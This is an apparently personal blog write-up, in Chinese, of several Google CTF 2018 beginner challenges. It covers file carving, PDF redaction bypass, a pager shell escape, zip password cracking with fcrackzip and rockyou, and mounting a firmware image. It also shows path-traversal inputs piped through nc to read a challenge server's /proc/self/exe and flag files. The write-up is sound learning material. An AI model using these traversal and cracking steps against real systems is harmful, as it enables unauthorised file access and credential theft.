Google CTF 2018部分学习

misc-floppy

是一个windows图标,放到iHex里看看,在文件的后半部分看到了PK开头的一段内容。
Google CTF 2018部分学习_第1张图片
小白搜了一下PK开头的文件类型,得知是zip文件,于是用binwalk -Me将里面的内容都解压出来。
从iHex和binwalk的结果都可以看出从0x2FD开始,有一个zip文件,文件名driver.txt

cqq@kali:~/CTF$ file foo.ico
foo.ico: MS Windows icon resource - 1 icon, 32x32, 16 colors
cqq@kali:~/CTF$ binwalk -Me foo.ico

Scan Time:     2018-07-04 19:59:48
Target File:   /home/cqq/CTF/foo.ico
MD5 Checksum:  e34cb819233241407497fa5531db7b89
Signatures:    344

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
765           0x2FD           Zip archive data, at least v2.0 to extract, compressed size: 123, uncompressed size: 136, name: driver.txt
956           0x3BC           Zip archive data, at least v2.0 to extract, compressed size: 214, uncompressed size: 225, name: www.com
1392          0x570           End of Zip archive


Scan Time:     2018-07-04 19:59:48
Target File:   /home/cqq/CTF/_foo.ico.extracted/www.com
MD5 Checksum:  2f0d40e93bf3a58737e1d857731a30d4
Signatures:    344

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------


Scan Time:     2018-07-04 19:59:48
Target File:   /home/cqq/CTF/_foo.ico.extracted/driver.txt
MD5 Checksum:  5b4321000c59c4e54dfa0c514d84f446
Signatures:    344

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------

cqq@kali:~/CTF$ ls
foo.ico  _foo.ico.extracted
cqq@kali:~/CTF$ cd _foo.ico.extracted/
cqq@kali:~/CTF/_foo.ico.extracted$ ls
2FD.zip  driver.txt  www.com
cqq@kali:~/CTF/_foo.ico.extracted$ ll
total 20
drwxr-xr-x 2 cqq cqq 4096 Jul  4 19:59 .
drwxr-xr-x 3 cqq cqq 4096 Jul  4 19:59 ..
-rw-r--r-- 1 cqq cqq  649 Jul  4 19:59 2FD.zip
-rw-r--r-- 1 cqq cqq  136 Jun 22 22:12 driver.txt
-rw-r--r-- 1 cqq cqq  225 Jun 22 22:08 www.com
cqq@kali:~/CTF/_foo.ico.extracted$ file driver.txt
driver.txt: ASCII text
cqq@kali:~/CTF/_foo.ico.extracted$ cat driver.txt
This is the driver for the Aluminum-Key Hardware password storage device.
     CTF{qeY80sU6Ktko8BJW}

In case of emergency, run www.com
cqq@kali:~/CTF/_foo.ico.extracted$ file www.com
www.com: ASCII text, with CR, LF line terminators
cqq@kali:~/CTF/_foo.ico.extracted$ cat www.com
hD7X-t6ug_hl(]Wh8$^15GG1-hbrX5prPYGW^QFIuxYGFK,1-FGIuqZhHIX%A)I!hSLX4SI!{p*S:eTM'~_?o?V;m;CThe Foobanizer9000 is no longer on the OffHub DMZ.          $,64"P4APG
cqq@kali:~/CTF/_foo.ico.extracted$ zipinfo 2FD.zip
Archive:  2FD.zip
Zip file size: 649 bytes, number of entries: 2
-rw-r--r--  3.0 unx      136 tx defN 18-Jun-22 22:12 driver.txt
-rw-r--r--  3.0 unx      225 tx defN 18-Jun-22 22:08 www.com
2 files, 361 bytes uncompressed, 337 bytes compressed:  6.6%

CTF{qeY80sU6Ktko8BJW}

下载DosBox,然后新建某目录,并将C盘挂在这个目录下:比如我是挂载在~/DosBox下,
Google CTF 2018部分学习_第2张图片
然后将待执行的文件放在这个目录下,然后输入文件名,后缀名可选,即可执行该文件。因为之前dir之后没看到这个文件,所以我在执行完之后删除了这个文件,确保这里执行成功是在此文件在该特定目录下的原因。
Google CTF 2018部分学习_第3张图片
//TODO

letter

源文件:https://storage.googleapis.com/gctf-2018-attachments/5a0fad5699f75dee39434cc26587411b948e0574a545ef4157e5bf4700e9d62a
下载下来之后是个zip文件,解压,得到一个pdf,然后发现用户名和密码被大码了。
Google CTF 2018部分学习_第4张图片
由于pdf打马只是在文本上涂了一层(至少视频里的大佬是这么说的),可以直接全选复制,即可,出现答案。

通过系统的预览app打开之后的格式

Google CTF 2018部分学习_第5张图片

通过chrome浏览器打开之后的格式

Google CTF 2018部分学习_第6张图片
于是我又用了另外一个文本的PDF打码了之后还是可以看出来。果然还是用chrome厉害一些,可以复制到文字,而系统自带的预览app并不能。
Google CTF 2018部分学习_第7张图片
Google CTF 2018部分学习_第8张图片

参考这个writeup,找到这个图像识别的网站,中文识别率也挺高,很强大,收藏了。
示例:
Google CTF 2018部分学习_第9张图片
不过视频里的大佬说可以直接用gocr搞定,我也试试。搜了一下,直接源码下载安装即可。

wget http://www-e.uni-magdeburg.de/jschulen/ocr/gocr-0.50.tar.gz
tar -xvf gocr-0.50.tar.gz
cd gocr-0.50.tar.gz
make
sudo make install

macOS的安装之后不管是源码还是brew install gocr出现以下问题:

$ gocr OCR_is_cool.out.png                                                 [1:41:49]
sh: pngtopnm: command not found

ERROR pnm.c L328: unexpected EOF

而在linux下是可以的。

$ sudo apt install gocr
$ gocr OCR_is_cool.png > OCR_is_cool.out.png

在文本编辑器中打开发现,居然连图片中的位置都模拟出来了,厉害厉害厉害!
Google CTF 2018部分学习_第10张图片
把中间那段邮件的内容复制到[这凯撒加密(替换加密)在线工具[(https://www.rot13.com/)
总共就25种可能的方式,慢慢试,到7的时候就出来了,还挺准的。
Google CTF 2018部分学习_第11张图片
然后找到了这个
CTF{c1p_rciptri_substitutionciptr)
但是不是很准可能,需要将原来图片的文字自己写下来,然后再放到这个网站中得到真正的答案。

moar

需要nc -v moar.ctfcompetition.com 1337
在7月5日我测试依然可以打开这个链接。
打开之后是一个manual页面,是在一个编辑器查看环境里面,可以使用!加命令来执行。于是,
过程如下:
Google CTF 2018部分学习_第12张图片

Security by obscurity

由于我们发现对附件中的文件进行解压操作之后,得到的文件依然是zip文件,于是我们用binwalk -Me来对解压出来的文件进行递归操作,
Google CTF 2018部分学习_第13张图片
多的一批,而且由于文件名太长,以至于系统都抛出异常了,我们得将文件重命名一下,继续操作。
由于我们的目标是要破解加密的压缩文件,而XZ,bzip2这些不会有密码的,所以目标只能是.zip或者.7z文件。使用find .找到当前目录包括子目录下所有的文件,然后file然后去除掉我们不需要的信息。
由于

$find _0.extracted > _0.extracted_files.txt # 将该目录下所有文件的文件名列表导出到文本文件
$cat _0.extracted_files.txt |xargs file|grep -v "XZ"|grep -v "bzip2"|grep -v "directory" # 对这些文件名进行file操作得到其文件类型信息,然后使用grep -v 去除掉我们不需要的文件类型。

Google CTF 2018部分学习_第14张图片
最后发现某目录下的几个文件,比其他的要小,于是我们使用7z e来对其进行解压。
Google CTF 2018部分学习_第15张图片
最后终于发现某文件是一个zip文件,需要我们输密码。

[~/GitProjects/CTF/GoogleCTF2018/whatever/0_dir]$ file 1~~~~~~~~~~~~~~~~~                                                                                                                                                          [15:30:44]
1~~~~~~~~~~~~~~~~~: Zip archive data, at least v1.0 to extract

看了一下google官方给出的压缩的过程,
https://github.com/google/google-ctf/blob/master/2018/beginners/misc-security-by-obscurity/packer.sh
原来给一个压缩文件加密码这么简单,只需要:

$ zip -P "cqq" password.zip password.txt

实在找不到如何用zip2johnjohn配合破解密码,于是看这个视频终于知道了一个破解zip加密文件的工具fcrackzip破解速度惊人,就一秒钟!!!可能是因为asdf是常用弱密码吧,我用其他的密码比如caiqiqi并没有破解出来。

cqq@kali:~/CTF$ fcrackzip -p /usr/share/wordlists/rockyou.txt -u -D pass.zip


PASSWORD FOUND!!!!: pw == asdf
cqq@kali:~/CTF$ fcrackzip --version
fcrackzip version 1.0
cqq@kali:~/CTF$ fcrackzip -p /usr/share/wordlists/rockyou.txt -u -D pass.zip


PASSWORD FOUND!!!!: pw == asdf
cqq@kali:~/CTF$ ls
capture.png  _foo.ico.extracted   OCR_is_cool.png  password.zip
cqq.txt      hash.txt             password1.txt    pass.zip
foo.ico      OCR_is_cool.out.png  password.txt
cqq@kali:~/CTF$ cat c
capture.png  cqq.txt
cqq@kali:~/CTF$ zip -P "caiqiqi" cqq.zip cqq.txt
  adding: cqq.txt (deflated 2%)
cqq@kali:~/CTF$ unzip cqq.zip
Archive:  cqq.zip
[cqq.zip] cqq.txt password: cqq@kali:~/CTF$
cqq@kali:~/CTF$
cqq@kali:~/CTF$ fcrackzip -p /usr/share/wordlists/rockyou.txt -u -D cqq.zip
cqq@kali:~/CTF$ fcrackzip -p /usr/share/wordlists/rockyou.txt -u -D cqq.zip

firmware

拿到文件,

$ file challenge.ext4.gz                                                                   [14:59:50]
challenge.ext4.gz: gzip compressed data, was "challenge2.ext4", last modified: Fri Jun 22 13:54:28 2018, max compression, from Unix
$ gunzip challenge.ext4.gz
$ file challenge.ext4                                                                      [15:00:06]
challenge.ext4: Linux rev 1.0 ext4 filesystem data, UUID=00ed61e1-1230-4818-bffa-305e19e53758 (extents) (64bit) (large files) (huge files)
$ ll challenge.ext4                                                                        [15:00:22]
-rw-r--r--  1 caiqiqi  staff   300M  7  6 14:59 challenge.ext4

是一个linux文件系统,将其挂载到linux系统的某目录下即可。打开我的ubuntu-16.04-desktop。新建CTF目录,挂载之。

➜ sudo mount -t ext4 challenge.ext4 /home/cqq/tmp/CTF
➜ cd CTF
➜  CTF sudo find . |grep -i CTF
➜  CTF ls
bin  boot  dev  etc  home  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
# 注意这里需要ls -al才能看到.文件
➜  CTF ls -al
total 44
drwxr-xr-x 22 root root  1024 Jun 22 06:54 .
drwxrwxr-x  3 cqq  cqq   4096 Jul  6 00:13 ..
-rw-r--r--  1 root root    40 Jun 22 06:54 .mediapc_backdoor_password.gz
drwxr-xr-x  2 root root  3072 Jun 22 06:54 bin
drwxr-xr-x  2 root root  1024 Jun 22 06:54 boot
drwxr-xr-x  4 root root  1024 Jun 22 06:54 dev
drwxr-xr-x 52 root root  4096 Jun 22 06:54 etc
drwxr-xr-x  2 root root  1024 Jun 22 06:54 home
drwxr-xr-x 12 root root  1024 Jun 22 06:54 lib
drwxr-xr-x  2 root root  1024 Jun 22 06:54 lib64
drwx------  2 root root 12288 Jun 22 06:51 lost+found
drwxr-xr-x  2 root root  1024 Jun 22 06:54 media
drwxr-xr-x  2 root root  1024 Jun 22 06:54 mnt
drwxr-xr-x  2 root root  1024 Jun 22 06:54 opt
drwxr-xr-x  2 root root  1024 Jun 22 06:54 proc
drwx------  2 root root  1024 Jun 22 06:54 root
drwxr-xr-x  4 root root  1024 Jun 22 06:54 run
drwxr-xr-x  2 root root  3072 Jun 22 06:54 sbin
drwxr-xr-x  2 root root  1024 Jun 22 06:54 srv
drwxr-xr-x  2 root root  1024 Jun 22 06:54 sys
drwxr-xr-x  2 root root  1024 Jun 22 06:54 tmp
drwxr-xr-x 10 root root  1024 Jun 22 06:54 usr
drwxr-xr-x  9 root root  1024 Jun 22 06:54 var
➜  CTF file .mediapc_backdoor_password.gz
.mediapc_backdoor_password.gz: gzip compressed data, last modified: Fri Jun 22 13:54:27 2018, from Unix
➜  CTF gunzip .mediapc_backdoor_password.gz
gzip: .mediapc_backdoor_password: Permission denied
➜  CTF sudo gunzip .mediapc_backdoor_password.gz
➜  CTF ls
bin  boot  dev  etc  home  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
➜  CTF ls -al
total 44
drwxr-xr-x 22 root root  1024 Jul  6 00:19 .
drwxrwxr-x  3 cqq  cqq   4096 Jul  6 00:13 ..
-rw-r--r--  1 root root    20 Jun 22 06:54 .mediapc_backdoor_password
drwxr-xr-x  2 root root  3072 Jun 22 06:54 bin
drwxr-xr-x  2 root root  1024 Jun 22 06:54 boot
drwxr-xr-x  4 root root  1024 Jun 22 06:54 dev
drwxr-xr-x 52 root root  4096 Jun 22 06:54 etc
drwxr-xr-x  2 root root  1024 Jun 22 06:54 home
drwxr-xr-x 12 root root  1024 Jun 22 06:54 lib
drwxr-xr-x  2 root root  1024 Jun 22 06:54 lib64
drwx------  2 root root 12288 Jun 22 06:51 lost+found
drwxr-xr-x  2 root root  1024 Jun 22 06:54 media
drwxr-xr-x  2 root root  1024 Jun 22 06:54 mnt
drwxr-xr-x  2 root root  1024 Jun 22 06:54 opt
drwxr-xr-x  2 root root  1024 Jun 22 06:54 proc
drwx------  2 root root  1024 Jun 22 06:54 root
drwxr-xr-x  4 root root  1024 Jun 22 06:54 run
drwxr-xr-x  2 root root  3072 Jun 22 06:54 sbin
drwxr-xr-x  2 root root  1024 Jun 22 06:54 srv
drwxr-xr-x  2 root root  1024 Jun 22 06:54 sys
drwxr-xr-x  2 root root  1024 Jun 22 06:54 tmp
drwxr-xr-x 10 root root  1024 Jun 22 06:54 usr
drwxr-xr-x  9 root root  1024 Jun 22 06:54 var
➜  CTF file .mediapc_backdoor_password
.mediapc_backdoor_password: ASCII text
➜  CTF cat .mediapc_backdoor_password
CTF{I_kn0W_tH15_Fs}

用完之后卸载,避免占据空间。

➜  tmp sudo umount `pwd`/CTF

Admin UI 1

在一个终端使用nc连接。

$ nc -v mngmnt-iface.ctfcompetition.com 1337

在另一个终端使用tshark使用捕获过滤器只捕获到mngmnt-iface.ctfcompetition.com与的流量,并将结果保存到pcap文件中,待后续wireshark分析。过滤表达式参考:https://wiki.wireshark.org/CaptureFilters

$ tshark -i en0 -f "host mngmnt-iface.ctfcompetition.com" -w admin_UI.pcap                 [20:02:51]
Capturing on 'Wi-Fi'
44 ^C

完成之后打开wireshark查看结果。
Google CTF 2018部分学习_第16张图片
CTF{I_luv_buggy_sOFtware}
这里之所以要用../flag,找上一级目录的flag文件,而不是当前目录,是因为从逆向的结果可以看出,在main函数中用到了一个opendir()函数,
Google CTF 2018部分学习_第17张图片
会进入到patchnotes目录,所以多出来一个..
另外看到liveoverflow的视频关于GoogleCTF2017的题,跟这个比较相似,但是那个略难一些,因为过滤掉了proc字符,使得不能通过/proc/self/cmdline以及/proc/self/environ来读取当前进程的命令行信息和环境变量信息,而且那个用到了一个知识点,就是/dev/fd/proc/self/fd的软连接,

root@kali:/home/cqq/CTF# ll /dev/fd
lrwxrwxrwx 1 root root 13 Jul  8 14:40 /dev/fd -> /proc/self/fd/

可以用那个/dev/fd/../cmdline来代替。
Google CTF 2018部分学习_第18张图片
Google CTF 2018部分学习_第19张图片

题外:

既然可以读文件,猜想是否可以读当前的进程,可以的话,可以dump当前的进程出来,然后用wireshark抓包之后,导出来可供后续逆向分析。发现并不能,还是重定向吧。

cqq@kali:~/CTF$ echo -e  "2\n../../../../proc/self/exe"|nc mngmnt-iface.ctfcompetition.com 1337 > main.dump2
^C

cqq@kali:~/CTF$ sha256sum main.dump2
06dd4bbfd1becf91398d7305dfe473537d1f33fb64e2b32978ad202832cc148c  main.dump2
cqq@kali:~/CTF$ sha256sum main.dump
06dd4bbfd1becf91398d7305dfe473537d1f33fb64e2b32978ad202832cc148c  main.dump
# 先file看一下,file并没有给出特定的文件格式,只是说是data
cqq@kali:~/CTF$ file main.dump
main.dump: data
# 然后hexdump -C查看一下,知道前面几行还是ASCII字符。
cqq@kali:~/CTF$ hexdump -C main.dump|head -10
00000000  3d 3d 3d 20 4d 61 6e 61  67 65 6d 65 6e 74 20 49  |=== Management I|
00000010  6e 74 65 72 66 61 63 65  20 3d 3d 3d 0a 20 31 29  |nterface ===. 1)|
00000020  20 53 65 72 76 69 63 65  20 61 63 63 65 73 73 0a  | Service access.|
00000030  20 32 29 20 52 65 61 64  20 45 55 4c 41 2f 70 61  | 2) Read EULA/pa|
00000040  74 63 68 20 6e 6f 74 65  73 0a 20 33 29 20 51 75  |tch notes. 3) Qu|
00000050  69 74 0a 54 68 65 20 66  6f 6c 6c 6f 77 69 6e 67  |it.The following|
00000060  20 70 61 74 63 68 6e 6f  74 65 73 20 77 65 72 65  | patchnotes were|
00000070  20 66 6f 75 6e 64 3a 0a  20 2d 20 56 65 72 73 69  | found:. - Versi|
00000080  6f 6e 30 2e 33 0a 20 2d  20 56 65 72 73 69 6f 6e  |on0.3. - Version|
00000090  30 2e 32 0a 57 68 69 63  68 20 70 61 74 63 68 6e  |0.2.Which patchn|
# 虽然前面有一些ASCII字符,但是binwalk还是识别了它的ELF头。
cqq@kali:~/CTF$ binwalk main.dump

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
182           0xB6            ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)
98174         0x17F7E         Unix path: /usr/include/x86_64-linux-gnu/c++/7/bits

Google CTF 2018部分学习_第20张图片
然后可以用文本编辑器等删除掉前面几行。
然后就是一个ELF文件了。

# file main.dump
main.dump: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e78c178ffb1ddc700123dbda1a49a695fafd6c84, with debug_info, not stripped

或者直接用/dev/fd/../exe或者/proc/self/exe可直接拿到进程的可执行文件。
这里写图片描述
然后可以在我的kali下执行了。
Google CTF 2018部分学习_第21张图片
通过netstat -plnt发现但是没有监听任何端口。

GateKeeper

拿到二进制文件,放到IDA Pro 64中,看到主要就是把密码字符串逆序了一下。
Google CTF 2018部分学习_第22张图片
关键就是图中阴影处。
zLl1ks_d4m_T0g_I倒序打印出来即可。
可以用python的str[::-1]即可
这里写图片描述
或者echo "zLl1ks_d4m_T0g_I"|rev
verify_animation()text_animation()都是一个定制的打印函数。
Google CTF 2018部分学习_第23张图片
Google CTF 2018部分学习_第24张图片

参考

https://github.com/google/google-ctf/tree/master/2018/beginners
Hacking Livestream #57: Google CTF 2018 Beginners Quest
如何使用DOSBox运行程序
https://ctftime.org/writeup/10296
https://ctftime.org/writeup/10284

你可能感兴趣的:(网络编程)